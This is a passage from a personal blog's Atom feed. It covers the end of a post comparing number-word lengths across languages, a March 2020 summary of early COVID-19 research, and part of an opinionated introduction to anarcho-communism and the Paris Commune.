<p>Surprisingly, that’s only two characters more then our English string. But with English we had to put in commas and add the word “and” after our hundreds. Out of curiosity, I checked what the string would be like without those things, and it came up with a nice round length of 100.</p>
<h2 id="german">German</h2>
<p>This is where the real challenge starts, as we’ve run out of languages I already know how to count in, meaning you should probably expect some mistakes (but hopefully not).</p>
<p>We’re doing German first because I’ve never really had a close look at a Germanic language (besides English, but that doesn’t count), so I think it would be interesting.</p>
<p>Keeping with the process we used with English and French, our largest unit is 7: “sieben” (6).</p>
<p>The tens are formed by adding the suffix “-zig” at the end of the multiplier digit, except for 10: “zehn” (4), 20: “zwanzig” (7), and 30: “dreißig” (7). There are several tens tied for largest with a length of 7, but we’ll use 90: “neunzig” (7), which is 9: “neun” (4) with the suffix “-zig”.</p>
<p>Tens and units are joined with the “und” (and) word, but the unit is said before the ten. So to make 97, we combine “sieben” und “neunzig” to make “siebenundneunzig” (16).</p>
<p>Hundred (“hundert”) and thousand (“tausend”) are not separated from the other numbers by a space. Like with the tens, the unit is said before the multiplier, so 700 is “siebenhundert” (13) and 797 is “siebenhundertsiebenundneunzig” (29).</p>
<p>Millions (et al) are like hundreds and thousands but they <strong>are</strong> separated by a space. So now we can make 797,797,797: “<strong>siebenhundertsiebenundneunzig Millionen siebenhundertsiebenundneunzigtausendsiebenhundertsiebenundneunzig</strong>” (105).</p>
<h2 id="finnish">Finnish</h2>
<p>Finnish is actually an <a href="https://en.wikipedia.org/wiki/Uralic_languages">Uralic</a> language instead of Indo-European. But I’m the one who created the rules, so I’m the one who can break them. And fun fact: no numbers are written with a space in Finnish, so if German made you squint you better get your glasses.</p>
<p>The largest units are 7: “seitsemän” (9) and 8: “kahdeksan” (9).</p>
<p>The tens are formed by adding the “-kymmentä” suffix. When composed with a digit, numbers from twenty-one to ninety-nine are formed by saying the ten, then the digit.</p>
<p>So our largest tens is 80: “kahdeksankymmentä” (17) and we can make 88: “kahdeksankymmentäkahdeksan” (26).</p>
<p>Hundreds (“sataa”), thousands (“tuhatta”), and millions (“miljoonaa”) are written the same, with the unit first then the multiplier. So 800 is “kahdeksansataa” (14) and 888 is “kahdeksansataakahdeksankymmentäkahdeksan” (40)</p>
<p>Now we can make 888,888,888: “<strong>kahdeksansataakahdeksankymmentäkahdeksanmiljoonaakahdeksansataakahdeksankymmentäkahdeksantuhattakahdeksansataakahdeksankymmentäkahdeksan</strong>” <span class="footnote-link" id="footnote-5"><sup>(5)</sup></span> (136).</p>
<aside class="footnote-body" id="footnote-5-body"><sup>(5)</sup><span>I am not going to fix this, it is hilarious.</span></aside>
<p>Not only is that the longest string (or single word) so far, but it’s also the biggest number.</p>
<h2 id="welsh">Welsh</h2>
<p>The traditional counting system used in the Welsh language is vigesimal, i.e. based on twenties as in the French numerals for 60-99. It is still used to express age and years, but is replaced by the decimal system for its ease to learn for English-speaking people, so we are going to use that.</p>
<p>There are also some syntactically and phonologically triggered variation in the form of numerals, which I think are interesting so we’ll go through them.</p>
<p>There are masculine and feminine forms of the numbers 2: “dau” (3) and “dwy” (3), 3: “tri” (3) and “tair” (4) and 4: “pedwar” (6) and “pedair” (6).</p>
<p>5: “pump” (4) and 6: “chwech” (6) also have reduced forms when followed directly by a noun: “pum” and “chwe” respectively.</p>
<p>To make things simple, we’re keeping to the masculine numbers. So our largest unit is 4: “pedwar” or 6: “chwech”.</p>
<p>Tens are form by suffixing 10: “deg” (3) to the unit with a space. Note that in 60: “chwe deg” (8) we are using the reduced form of “chwech” because “deg” is a noun. Because of this 40: “pedwar deg” (10) is the largest tens now, and we can make 46: “pedwar deg chwech” (17).</p>
<p>For some reason, the website shows the tens without a space (so “chwe deg” is “chwedeg”), I don’t think this is correct as all the other resources I’ve found on Welsh numbering have the space. And they even say that they’re made the same way as the numbers 11-19, which have spaces.</p>
<p>Anyway, our largest hundreds is 400: “pedwar cant” (11) and we put it before the tens, making 446: “pedwar cant pedwar deg chwech” (29).</p>
<p>Now we can add the thousands (“mil”) and millions (“miliynau”) to make 444,444,446: “<strong>pedwar cant pedwar deg pedwar miliynau pedwar cant pedwar deg pedwar mil pedwar cant pedwar deg chwech</strong>” (102).</p>
<h2 id="czech">Czech</h2>
<p>Our last language is Czech. I’ve tried to pick a few languages that I don’t think my readers would have any experience in so you can’t nitpick me.</p>
<p>The largest units are 1: “jedna” (5), 4: “čtyři” (5), or 9: “devět” (5). The digits one and two also have gendered forms: “jeden/jedna/jedno” and “dva/dvě/dvě” (masculine/feminine/neuter).</p>
<p>Tens are formed by adding ten (“cet/desát”) to the end of the multiplier digit root. But for the first time, we have a number in the teens that is the biggest tens which is 19: “devatenáct” (10), and is made by suffixing “-náct” (-teen).</p>
<p>Hundreds “sto/stě/sta/set”, thousands, “tisíc/tisíce” and millions “milión/miliony/milionů” all follow the same rule, and are put after the multiplier.</p>
<p>This makes 919,919,919: “<strong>devět set devatenáct milionů devět set devatenáct tisíc devět set devatenáct</strong>” (76).</p>
<hr />
<p>That’s every language I can be bothered to learn how to count in. But before we wrap things up, I’d like to talk about character encoding.</p>
<p>As we all know, computers do stuff in terms of “0”s and “1”s where a “0” or “1” is called a “bit”. You can have a group of 8 bits to make a “byte”. Generally each, character you see on a screen is actually one byte. This is in accordance to the “<a href="https://en.wikipedia.org/wiki/ASCII">American Standard Code for Information Interchange</a>“ (ASCII) which is a character set that specifies which byte represents which character.</p>
<p>In ASCII, the binary “01000001” represents an uppercase “A”, and a space character is also only one byte and is “0100000” in binary. The problem with ASCII was that it only included English alphabet characters.</p>
<p>So instead <a href="https://en.wikipedia.org/wiki/Unicode">Unicode</a> was created to handle text in most of the world’s writing systems. Specifically most people use <a href="https://en.wikipedia.org/wiki/UTF-8">UTF-8</a>, which represents each Unicode character in one to four bytes.</p>
<p>And since UTF-8 is supposed to be compatible with ASCII, our uppercase “A” is still only one byte, but the letter “ě” is two bytes and the character “な” is three bytes.</p>
<p>We have a few characters with accents in our strings, so along with counting the length of <strong>characters</strong> of the string, I’d also like to count number of <strong>bytes</strong> in the string.</p>
<p>You can do this with a Python REPL and the <code class="prettyprint">len</code> function, which (for reasons I’m not bothered to get into) counts the number of bytes in a string by default. I’ve actually been using it this entire time to count, but applying a <code class="prettyprint">decode</code> function to the string for it to only count the characters, which looks like this: <code class="prettyprint">len('sedmdesát'.decode('utf-8'))</code>.</p>
<p>Finally, here’s the table with all the languages’ score in characters and bytes.</p>
<table>
<thead>
<tr>
<th>Language</th>
<th>Number</th>
<th>Characters</th>
<th>Bytes</th>
</tr>
</thead>
<tbody>
<tr>
<td>English</td>
<td>878,878,878</td>
<td>114</td>
<td>114</td>
</tr>
<tr>
<td>French</td>
<td>499,499,499</td>
<td>116</td>
<td>116</td>
</tr>
<tr>
<td>German</td>
<td>797,797,797</td>
<td>105</td>
<td>105</td>
</tr>
<tr>
<td>Finnish</td>
<td>888,888,888</td>
<td>136</td>
<td>139</td>
</tr>
<tr>
<td>Welsh</td>
<td>444,444,446</td>
<td>102</td>
<td>102</td>
</tr>
<tr>
<td>Czech</td>
<td>919,919,919</td>
<td>76</td>
<td>84</td>
</tr>
</tbody>
</table>
<p>Admittedly, there’s pretty much no difference,<span class="footnote-link" id="footnote-7"><sup>(7)</sup></span> but we can now be confident that Czech is the “Language with the Best Counting (along with all the other languages who count just as good, but this one has the shortest string length in our scoring system)”.</p>
<aside class="footnote-body" id="footnote-7-body"><sup>(7)</sup><span>It would be a different story if we included languages with characters always above one byte, like Japanese or Korean.</span></aside>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[This Is My 69th Post, Here Is Everything I Know About The Coronavirus]]></title>
        <id>https://justin.duch.me/post/coronavirus</id>
        <link href="https://justin.duch.me/post/coronavirus"/>
        <updated>2020-03-20T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>According to <code class="prettyprint">ls -l _posts/ | wc -l</code> this is my 69th post and I thought it would be fun to finally talk about <a href="https://en.wikipedia.org/wiki/Severe_acute_respiratory_syndrome_coronavirus_2">Severe acute respiratory syndrome coronavirus 2</a> (SARS-CoV-2 or COVID-19 or just “Coronavirus”). In doing so, I’ve tried to read up on a bunch of research papers much like a certain relevant <a href="https://xkcd.com/2281/">xkcd</a>.</p>
<p>But be warned: I’m not a virologist, the last time I tried to read a paper not about computer science/lingusitics was with “<a href="https://royalsocietypublishing.org/doi/10.1098/rsos.191959">Urban herring gulls use human behavioural cues to locate food</a>”, and I had to look up what a word meant almost every paragraph. It was <strong>brutal</strong>.<span class="footnote-link" id="footnote-1"><sup>(1)</sup></span> Because of this I’m not going to talk about structural biology at all. There are parts of each paper that talk about but since I don't understand it, I'm going to ignore it.</p>
<aside class="footnote-body" id="footnote-1-body"><sup>(1)</sup><span>It wasn’t actually that bad. Once you learnt what the words meant, it was easy to understand.</span></aside>
<p>But anyway, what’s up with the Coronavirus?</p>
<p>In late December 2019, a cluster of unexplained pneumonia cases has been reported in Wuhan, China. A few days later, the causative agent of this mysterious pneumonia was identified as a novel coronavirus. This causative virus has been temporarily named as severe acute respiratory syndrome coronavirus 2 (SARS-CoV-2) and the relevant infected disease has been named as coronavirus disease 2019 (COVID-19) by the World Health Organization respectively.</p>
<p>SARS-CoV-2 is a novel member of coronaviruses, which are a large group of highly diverse, enveloped, positive-sense, single-stranded RNA viruses. The analysis of samples from seven SARS-CoV-2 infected patients suggested that SARS-CoV-2 shares 79.5% sequence identity to <a href="https://en.wikipedia.org/wiki/Severe_acute_respiratory_syndrome">SARS-CoV</a>.<a href="#reference-1" class="reference-link" id="reference-1-backlink"><sup>[1]</sup></a></p>
<p>The 2002 SARS-CoV (SARS) outbreak in southern China has only limited value for predictions, even if both are coronaviruses. SARS largely died out during the Northern Hemisphere summer of 2003 when the virus became significantly less infectious. However, while SARS-CoV-2 appears to be considerably less lethal than SARS, which had a fatality rate of 9.6%, killing 774 of the 8,098 reported patients, it is more infectious.<a href="#reference-2" class="reference-link" id="reference-2-backlink"><sup>[2]</sup></a> However, COVID-19 mortality rates are preliminary, and the values may change as more individuals will be confirmed retrospectively with mild respiratory illnesses that were attributed at the time to the common cold, or to have died from COVID-19 that was believed to be influenza.</p>
<p>Recent research reported that SARS-CoV-2 likely originated in bats, based on the similarity of its genetic sequence to that of other coronaviruses. Simplot analysis showed that SARS-CoV-2 share 96.2% overall genome sequence identity to RaTG13, which is a short RdRp region from a bat coronavirus.<a href="#reference-3" class="reference-link" id="reference-3-backlink"><sup>[3]</sup></a></p>
<p>Briefly, cases tend to be in clusters which arrive in waves, and develop into larger outbreaks all over the world. Mode of transport is known to be human-human and occurs primarily via respiratory droplets from coughs and sneezes within a range of about 6 feet (1.8 m). Whether infection can occur through the oral or conjunctival routes is unknown, but SARS-CoV-2 has been detected in tears.<a href="#reference-4" class="reference-link" id="reference-4-backlink"><sup>[4]</sup></a></p>
<p>Population genetic analyses of 103 sequenced genomes of SARS-CoV-2 indicate that there are two strains, L, more prevalent (70%) in the early stages of the outbreak and more aggressive, and S, which less prevalent (30%) and less aggressive.<a href="#reference-5" class="reference-link" id="reference-5-backlink"><sup>[5]</sup></a></p>
<p>Reproductive number (R0) was estimated by some studies. Based on the clinical data of patients in COVID-19 early outbreak, the mean R0 was ranging from 2.20 to 3.58, meaning that each patient has been spreading infection to 2 or 3 other people.<a href="#reference-6" class="reference-link" id="reference-6-backlink"><sup>[6]</sup></a> But it still too early to develop an accurate R0 estimate or to assess the dynamics of transmission and more research is needed in the future.</p>
<p>Some aspects about the outbreak were anticipated. Its rapid worldwide spread within and across countries was predictable, and so was the increased mortality among certain population groups. The magnitude of the outbreak in various countries, however, came somewhat as a surprise. The first two cases in Italy were detected on January 29, 2020. As of March 13, 2020, the country experienced 12,462 infections and 827 deaths, becoming to date the largest one and the one that claimed most fatalities outside of Asia.</p>
<p>Several scenarios may explain the large outbreak and the high COVID-19 mortality rate in Italy. Prior to the first COVID-19 diagnoses in Italy, it was reported that an unusually high number of people with pneumonia were diagnosed at a hospital in the Northern part of the country, opening the possibility that they were the first cases but they had been treated as if they had the flu. It is also conceivable that by the time the outbreak in Italy was noticed, several transmission chains were already becoming established in the country.</p>
<p>Additionally, Italy has one of the world’s oldest populations. In 2015 and 2016, 21-22% of its residents were aged 65 and over, and the average life expectancy at birth, 82.7 years, is one of the highest in the world. The high COVID-19 mortality in Italy may at least in part reflect the disproportionately high mortality that it causes in elderly individuals.<a href="#reference-7" class="reference-link" id="reference-7-backlink"><sup>[7]</sup></a></p>
<p>Until the diagnosis is confirmed, SARS-CoV-2 infected patients are treated in single rooms. As SARS-CoV-2 is an emerging virus, an effective antiviral treatment has not been identified. The main treatment of COVID-19 is symptomatic treatment. The antiviral drugs, including oseltamivir, ribavirin, ganciclovir, lopinavir, and ritonavir have been used in attempts to reduce viral load and to prevent the likelihood of respiratory complications in several studies<a href="#reference-8" class="reference-link" id="reference-8-backlink"><sup>[8]</sup></a><a href="#reference-9" class="reference-link" id="reference-9-backlink"><sup>[9]</sup></a>. However, the efficacy of these antiviral drugs for COVID-19 need to be verified by randomised, controlled clinical trials.</p>
<p>The WHO issued a public health emergency of international concern on January 30, 2020. SARS-CoV-2 epidemic is becoming a global concern. The best strategy to deal with SARS-CoV-2 epidemic includes controlling the sources of infection, protecting the susceptible people, and cutting off the transmission.</p>
<p>That’s all. Turns out we don’t actually know very much. I’d also like to talk about the opinion paper “Global health crises are also information crises: A call to action”<a href="#reference-10" class="reference-link" id="reference-10-backlink"><sup>[10]</sup></a>, which “argue(s) that global health crises are also information crises. Using as an example the coronavirus disease 2019 (COVID-19) epidemic, we (a) examine challenges associated with what we term “global information crises”; (b) recommend changes needed for the field of information science to play a leading role in such crises; and (c) propose actionable items for short- and long-term research, education, and practice in information science.“</p>
<p>I think the paper brings up very important points such as calling for “information scientists to examine: (a) how information science might assist the use of trustworthy social media information while avoiding misinformation/ disinformation, (b) systematic ways to automatically detect and stop the spread of misinformation/disinformation on mass media and social media, and (c) strategies to help authoritative organizations in using social media to communicate with individuals and intervene when health misinformation/disinformation spreads.”</p>
<p>I’ve seen a lot of misinformation on social media <strong>cough</strong> <em>Reddit</em> <strong>cough</strong>, so this is certainly an issue that needs more research.</p>
<p>Now with all that boring stuff over, it is time to talk about etymology! YAY!</p>
<p>“Corona” is a Latin term meaning “a crown, a garland”<a href="#reference-11" class="reference-link" id="reference-11-backlink"><sup>[11]</sup></a>, and has been extended into “coronavirus” which refers to the characteristic appearance of virions (the infective form of the virus) by electron microscopy, which have a fringe of large, bulbous surface projections creating an image reminiscent of a crown or of a solar corona. Remember that coronaviruses are a group of related viruses, and not one single virus.</p>
<p>Ok bye bye! Remember to wash your hands!</p>
<hr />
<div class="reference" id="reference-1"><a class="reference-link" href="#reference-1-backlink"><sup>[1]</sup></a>: He, Feng, et al. “Coronavirus Disease 2019 (COVID‐19): What We Know?” _J Med Virol_. _Wiley_, doi:10.1002/jmv.25766.</div>
<div class="reference" id="reference-2"><a class="reference-link" href="#reference-2-backlink"><sup>[2]</sup></a>: Hunter, Philip. “The Spread of the COVID ‐19 Coronavirus.” _EMBO Rep_. _EMBO_, doi:10.15252/embr.202050334.</div>
<div class="reference" id="reference-3"><a class="reference-link" href="#reference-3-backlink"><sup>[3]</sup></a>: Zhou, Peng, et al. “A Pneumonia Outbreak Associated with a New Coronavirus of Probable Bat Origin.” _Nature_, vol. 579, no. 7798, 2020, pp. 270–73. _Springer Science and Business Media LLC_, doi:10.1038/s41586-020-2012-7.</div>
<div class="reference" id="reference-4"><a class="reference-link" href="#reference-4-backlink"><sup>[4]</sup></a>: Xia, Jianhua, et al. “Evaluation of Coronavirus in Tears and Conjunctival Secretions of Patients with SARS‐CoV‐2 Infection.” _J Med Virol_. _Wiley_, doi:10.1002/jmv.25725.</div>
<div class="reference" id="reference-5"><a class="reference-link" href="#reference-5-backlink"><sup>[5]</sup></a>: Tang, Xiaolu, et al. _On the Origin and Continuing Evolution of SARS-CoV-2_. _Oxford University Press (OUP)_, doi:10.1093/nsr/nwaa036.</div>
<div class="reference" id="reference-6"><a class="reference-link" href="#reference-6-backlink"><sup>[6]</sup></a>: Li, Qun, et al. “Early Transmission Dynamics in Wuhan, China, of Novel Coronavirus–Infected Pneumonia.” _N Engl J Med_. _Massachusetts Medical Society_, doi:10.1056/NEJMoa2001316.</div>
<div class="reference" id="reference-7"><a class="reference-link" href="#reference-7-backlink"><sup>[7]</sup></a>: Stein, Richard. “COVID‐19 and Rationally Layered Social Distancing.” _Int J Clin Pract_. _Wiley_, doi:10.1111/ijcp.13501.</div>
<div class="reference" id="reference-8"><a class="reference-link" href="#reference-8-backlink"><sup>[8]</sup></a>: Wang, Dawei, et al. “Clinical Characteristics of 138 Hospitalized Patients With 2019 Novel Coronavirus–Infected Pneumonia in Wuhan, China.” _JAMA_, vol. 323, no. 11, 2020, p. 1061. _American Medical Association (AMA)_, doi:10.1001/jama.2020.1585.</div>
<div class="reference" id="reference-9"><a class="reference-link" href="#reference-9-backlink"><sup>[9]</sup></a>: Chen, Nanshan, et al. “Epidemiological and Clinical Characteristics of 99 Cases of 2019 Novel Coronavirus Pneumonia in Wuhan, China: A Descriptive Study.” _The Lancet_, vol. 395, no. 10223, 2020, pp. 507–13. _Elsevier BV_, doi:10.1016/s0140-6736(20)30211-7.</div>
<div class="reference" id="reference-10"><a class="reference-link" href="#reference-10-backlink"><sup>[10]</sup></a>: Xie, Bo, et al. “Global Health Crises Are Also Information Crises: A Call to Action.” _J Assoc Inf Sci Technol_. _Wiley_, doi:10.1002/asi.24357.</div>
<div class="reference" id="reference-11"><a class="reference-link" href="#reference-11-backlink"><sup>[11]</sup></a>: https://www.etymonline.com/word/corona#etymonline_v_19090</div>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[Anarchism For The Curious]]></title>
        <id>https://justin.duch.me/post/anarchism_for_the_curious</id>
        <link href="https://justin.duch.me/post/anarchism_for_the_curious"/>
        <updated>2020-03-18T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>When I was a wee lad (like 4 years ago), I had a geography teacher who was a very overt libertarian. He’d occasionally<span class="footnote-link" id="footnote-1"><sup>(1)</sup></span> talk about the usual libertarian spiel, about how the free market provides “freedom of choice”, and “incentivises creativity”. The basic stuff you’d expect from a libertarian.</p>
<aside class="footnote-body" id="footnote-1-body"><sup>(1)</sup><span>Don’t worry, I still got to learn about geography, he wasn’t a bad teacher.</span></aside>
<p>During these years I didn’t have much interest in anything outside of programming and video games, so I didn’t think much to it and just thought “oh that makes sense, I guess”. I wasn’t into politics much, I much preferred video games like Metal Gear Solid that definitely isn’t political at all.</p>
<p>But then, one day, I decided to think about it and realised it made no sense.</p>
<p>How does it incentivise creativity when most of the top selling video games are soulless garbage? Freedom of choice? More like freedom to choose between this bland cover based shooter, and this even more bland cover based shooter. The only time I’ve ever enjoyed a cover based shooter was Vanquish (2010), and that game made no money.</p>
<p>So that’s how geography and video games made me an anarchist.</p>
<p>Today, I’ll give you an introduction to the things I’ve learnt from 4 years of reading too much political theory. I understand that not everyone wants to read political theory, and for good reason. It’s boring, it’s so <strong>boring</strong>. I’ve wasted so much of my life reading this shit, if I spent that time doing math I could probably have a good job by now.</p>
<p>That’s why I’m putting this into an easy to digest blog post, so you don’t make the same mistake I do.</p>
<p>But first, we gotta talk about definitions. I find this the biggest hurdle when discussing it with other people, where we say the same words, but we’re actually talking about different things.</p>
<p>During legal studies, I was taught that anarchy meant “a state of lawlessness”. So when I learnt that people where “anarchists”, I assumed that they were people who wanted a world with no laws, which in my head, looked like the post apocalyptic wastelands of Fallout.<span class="footnote-link" id="footnote-2"><sup>(2)</sup></span></p>
<aside class="footnote-body" id="footnote-2-body"><sup>(2)</sup><span>I’ve already told you that literally half of my interests at that time was video games. They were pretty much all I thought about.</span></aside>
<p>So that was completely wrong.</p>
<p>Wikipedia calls anarchism a “political movement that is highly skeptical towards authority and rejects all unjust forms of hierarchy. It calls for the abolition of the state which it holds to be undesirable, unnecessary and harmful.”<a href="#reference-1" class="reference-link" id="reference-1-backlink"><sup>[1]</sup></a> This is already a fine definition, but I think it needs something to be added and can also be shortened.</p>
<p>As far as I’m concerned, anarchism is a “stateless, <strong>classless</strong> society which rejects all forms of hierarchy”. The Wikipedia definition only mentions the state as a hierarchy, but you can have a hierarchy without a government (the state) in libertarianism, which is divided by classes.</p>
<p>You may be thinking: “hey this all sounds pretty familiar”, and it should because anarchism is just communism (or a purer form of it). I think this is where most people get confused, because nobody knows what the fuck communism is.</p>
<p>Lots of people have heard the phrase: “communism is when the workers own the means of production”. That seems to be most basic and commonly accepted definition, but then people go on to say “the USSR was communist”, which is incorrect if you go by the previous definition. I think it’s pretty clear that the USSR (state) controlled the means of production instead of the people.</p>
<p>Instead the USSR is better described as “state capitalist”, which is where the ”state undertakes commercial (i.e. for-profit) economic activity and where the means of production are organized and managed as state-owned business enterprises…“<a href="#reference-2" class="reference-link" id="reference-2-backlink"><sup>[2]</sup></a></p>
<p>Because of this confusion, communism has been split into “anarcho-communism” and “authoritarian communism”, where the USSR is authoritarian communist. Even though by <strong>definition</strong> you can’t be authoritarian and communist at the same time, I don’t think it’s worth the effort to try and argue<span class="footnote-link" id="footnote-3"><sup>(3)</sup></span> about this (especially it seems to be accepted by the majority of people) and we will accept that “authoritarian communism” is a real thing that just means “state capitalism”.</p>
<aside class="footnote-body" id="footnote-3-body"><sup>(3)</sup><span>Jokes, I’m not done. Let’s talk about “anarcho-capitalism”, which is yet another oxymoron. How would you dismantle hierarchies if businesses are fucking built on them??!!? IT MAKES NO SENSE. You can’t be an anarchist and capitalist at the same time! Just stick to “libertarian” please.</span></aside>
<p>This means from now on we should be using the term “anarcho-communism”, so we don’t get confused with the other communisms<span class="footnote-link" id="footnote-4"><sup>(4)</sup></span>. I’m also going to shorten anarcho-communism to ancom, because I hate typing the entire thing.</p>
<aside class="footnote-body" id="footnote-4-body"><sup>(4)</sup><span>And so we don’t get confused with “anarcho-capitalism”, WHICH ISN’T A THING. I’ll accept “authoritarian communism”, I can see why people would think it could be a thing. But “anarcho-capitalism”? No. Fuck off with that bourgeois propaganda.</span></aside>
<p>Anyway back to the main point.</p>
<p>Ancoms believe that political power is corrupt and corrupting, that any politician is naturally corrupt and that anyone who enters into mainstream politics will become corrupted. They believe that political and economic power should be held by every member of society, and that a system of direct democracy should be implemented to allow the entire community to legislate on matters which affect them.</p>
<p>All means of manufacturing will be owned by the collective community and used for the benefit of that community. There will be no state, no government, no currency, no political parties and no social prejudice.</p>
<p>If this is the first time you’ve heard of this, I wouldn’t blame you if you were still confused. How would it actually work? Since anarcho-communism has never been done on a large nation wide scale (it has been done on smaller scales and we will talk about that later), we can only theorise on how it would.</p>
<p>There’s a good video series on the internet website double-u double-u double-u dot youtube dot com called “<a href="https://www.youtube.com/playlist?list=PLCcemL_x8RtdtFuib1Wl6VwyuYOEDb5Wv">How Anarchism Works</a>“ by NonComplete. To be honest, you should probably just watch that instead of reading this (people seem to like videos more anyway). But it's one of the more comprehensive (and accessible) attempts to explain how an ancom society could work.</p>
<p>I certainly would have liked to have just watched videos instead of wasting 4 years of my life reading boring-ass books. And it’s not <strong>just</strong> that they’re boring, you have to learn how to read them first before you can even understand anything. They are all in a very different prose than what I and most people are used to, so unless you come from an academic background it can be hard to grasp at first.</p>
<p>But I digress, let’s get back on topic.</p>
<p>I recommend watching the videos before I go on, but if you don’t feel like it, I’ll summarise the first few videos for you.</p>
<p>Individuals self-organise into “wards” of ~150 people (according to the video this is the most efficient number of people to work with) and wards would organise into “communes” of ~10,000 people (and communes could group up into bigger ones of millions of people and so on).</p>
<p>Wards (and communes) would practice “direct democracy” where each individuals decide on policy <strong>directly</strong>, this is in contrast to our (at least where I live) “representative democracy” where people vote for representatives who then enact policy initiatives.</p>
<p>Wards could also have a “ward council” of ~10 people to organise the day-day activities. Individuals could be chosen to go on the ward council through democracy but the video argues for “sortition”, which is just choosing at random. People would hold a position in the ward council for around three months, so if it were chosen randomly, you would expect to be on the ward council every 3-4 years.</p>
<p>In a commune of 10,000 people with wards of 150 people there would be 70 wards. Each ward could choose (democratically or through sortition) 2 people (2 x 70 = 140 people) to represent their ward in the commune to help organise resources between wards.</p>
<p>Ideally as money would not exist, wards make “contracts” with each other to provide goods and services. Each ward could do a specific job (like firefighting, bakery, etc.) and would trade this service for the services of another ward.</p>
<p>People wouldn’t be constrained by their ward or commune, there would be free travel between them all and you could move whenever you wanted.</p>
<p>Unfortunately it seems to be impossible to avoid all forms of hierarchy as it may be needed in order for a complex society to organise, but anarchism attempts to put as much emphasis on the individual (and in turn, the collective) as possible.</p>
<p>That should be how it would work in its most general sense. There’s still loads more to cover, but it’s at least a baseline.</p>
<p>You may have remembered me saying that we would look at a how anarchism has been done on a smaller scale in real life, so now let’s talk about the <a href="https://en.wikipedia.org/wiki/Paris_Commune">Paris Commune</a>, because having a theory on a sociopolitical structure is one thing but there’s no point if it doesn’t work.</p>
<p>The Paris Commune of 1871 was the most important urban popular rising in Europe between the French Revolution of 1789 and the Russian Revolution of February 1917.</p>
<p>There’s a lot of context you will need to know first however, so ready up for a history lesson.</p>
<p>The Commune resulted in part from growing discontent among the Paris worker. During the war and the siege of Paris, various members of the middle and upper-classes departed the city. Workers and their families were displaced from the city centre to outlying suburbs with virtually nonexistent public transport. Since Paris was the imperial capital, as well as the principal business centre and urban resort of the rich in France, Paris workers were exposed to the extravagances and excesses of the court and of the wealthy elite in this “New Babylon.”</p>
<p>At the same time there was an influx of refugees from parts of France occupied by the Germans. The working class and immigrants suffered the most from the lack of industrial activity due to the war and the siege; they formed the bedrock of the Commune’s popular support.</p>
<p>The political alienation of the Paris working class from the Second Empire did not mean that a revolutionary situation existed in Paris before 1871. It took the Franco-Prussian War, the siege of Paris, and the decisions of the government to transform political alienation into violent revolution. The outbreak of the Franco-Prussian War on 19 July 1870 rapidly led to the defeat at Sedan on September 2, when Napoleon III and approximately one hundred thousand French soldiers surrendered.</p>
<p>By September 19 German forces had surrounded Paris, cutting it off from the rest of France. Paris had modern fortifications, consisting of a thirty mile rampart and sixteen outlying forts; the city had numerous defenders, including both regular soldiers and members of the National Guard (a civilian militia), who were reasonably well supplied with weapons and ammunition; and the city initially had substantial food stocks.</p>
<p>On January 28 after months of siege, Paris is surrendered to the Germans in an armistice with a preliminary peace treaty between France and Germany signed at Versailles on February 26. While all regular troops are disarmed, the National Guard is permitted to keep their arms — the populous of Paris remains armed and allows the occupying armies only a small section of the city.</p>
<p>By this date the siege had transformed the situation in Paris. A revolutionary leadership had emerged, partly through vigilance committees set up in each arrondissement or district. A popular revolutionary program had been developed, including the introduction of an elected city council or commune, the election of all public officials, and the replacement of the police and the regular army by the National Guard.</p>
<p>Finally, the Versailles government on 18 March attempted to disarm Paris and sent French troops (the regular army) to remove cannons parked in the working-class suburbs of Belleville and Montmartre. But, angry crowds of National Guards and civilians obstructed the troops, as well as some troops who, through fraternisation with Paris workers, refused to carry out their orders. Several officers were arrested and two generals, Generals Claude Martin Lecomte and Jacques Leonard Clement Thomas were killed by their own soldiers.</p>
<p>A panicked Thiers, fearing that troops of the Paris garrison and civil servants would become prisoners of the insurgents, ordered all soldiers and government civil servants to withdraw to Versailles, thereby creating a power vacuum. The remaining representatives of authority in Paris, the mayors of the city’s arrondissements, the National Assembly representatives of Paris, and the Central Committee of the National Guard all agreed that elections should be held on 26 March for a new commune or city council. Political radicalisation during the siege, hatred of Thiers and the Versailles government, and the behaviour of the bourgeoisie (who tended either to leave Paris or to boycott the elections) led to a sweeping left-wing victory: only nineteen moderates, as opposed to seventy-three members of the Left, were elected. The Paris Commune was formally proclaimed in a solemn ceremony on March 28.</p>
<p>Despite its increasingly desperate military situation, the short-lived Paris Commune was remarkable for its social and political character. The Paris Commune was first and foremost a democracy. The government was a body elected by universal suffrage. Most members of the commune council belonged either to the lower middle class or to the working-class elite, at a time when upper-class elites dominated governments throughout Europe.</p>
<p>Although distorted by military demands and limited by lack of time, Communard priorities can be discerned. Communards believed in grassroots democracy and the election and public accountability of all officials. The National Guard, recruited from all able-bodied men, replaced the police and the regular army. Women-friendly policies included equal pay for male and female teachers, support for women’s committees and women’s cooperatives, and pensions for common-law wives of National Guards killed in action.</p>
<p>The Commune decreed the separation of the Church from the State and the confiscation of church buildings, the destruction of religious symbols, the dismissal of religious personnel from their jobs, and the planning of a secular educational system all featured in an anticlerical crusade.</p>
<p>Other decrees included:</p>
<ul>
<li>Remission of rents owed for the entire period of the siege (during which payment had been suspended).</li>
<li>Abolition of child labour and night work in bakeries.</li>
<li>Granting of pensions to the unmarried companions and children of national guardsmen killed in active service.</li>
<li>Free return by pawnshops of all workmen’s tools and household items, valued up to 20 francs, pledged during the siege.</li>
<li>Postponement of commercial debt obligations, and the abolition of interest on the debts.</li>
<li>Right of employees to take over and run an enterprise if it were deserted by its owner; the Commune, nonetheless, recognised the previous owner’s right to compensation.</li>
<li>Prohibition of fines imposed by employers on their workmen.</li>
</ul>
<p>The Commune lasted 71 days. The final week of the Commune (21–28 May), “the Bloody Week,” witnessed atrocities on both sides.</p>
<p>Communards burnt prominent public buildings, such as the Hôtel de Ville and the Tuileries Palace, and executed hostages, including the Archbishop of Paris, Georges Darboy (1813–1871) on 24 May, and a group of fifty (mostly priests and policemen) on 26 May.</p>
<p>Meanwhile, the French army spent eight days massacring workers and shooting civilians on sight. The operation was led by Marshal MacMahon, who would later become president of France. Tens of thousands of Communards and workers are summarily executed (as many as 25,000); 38,000 others were imprisoned and 7,000 are forcibly deported.</p>
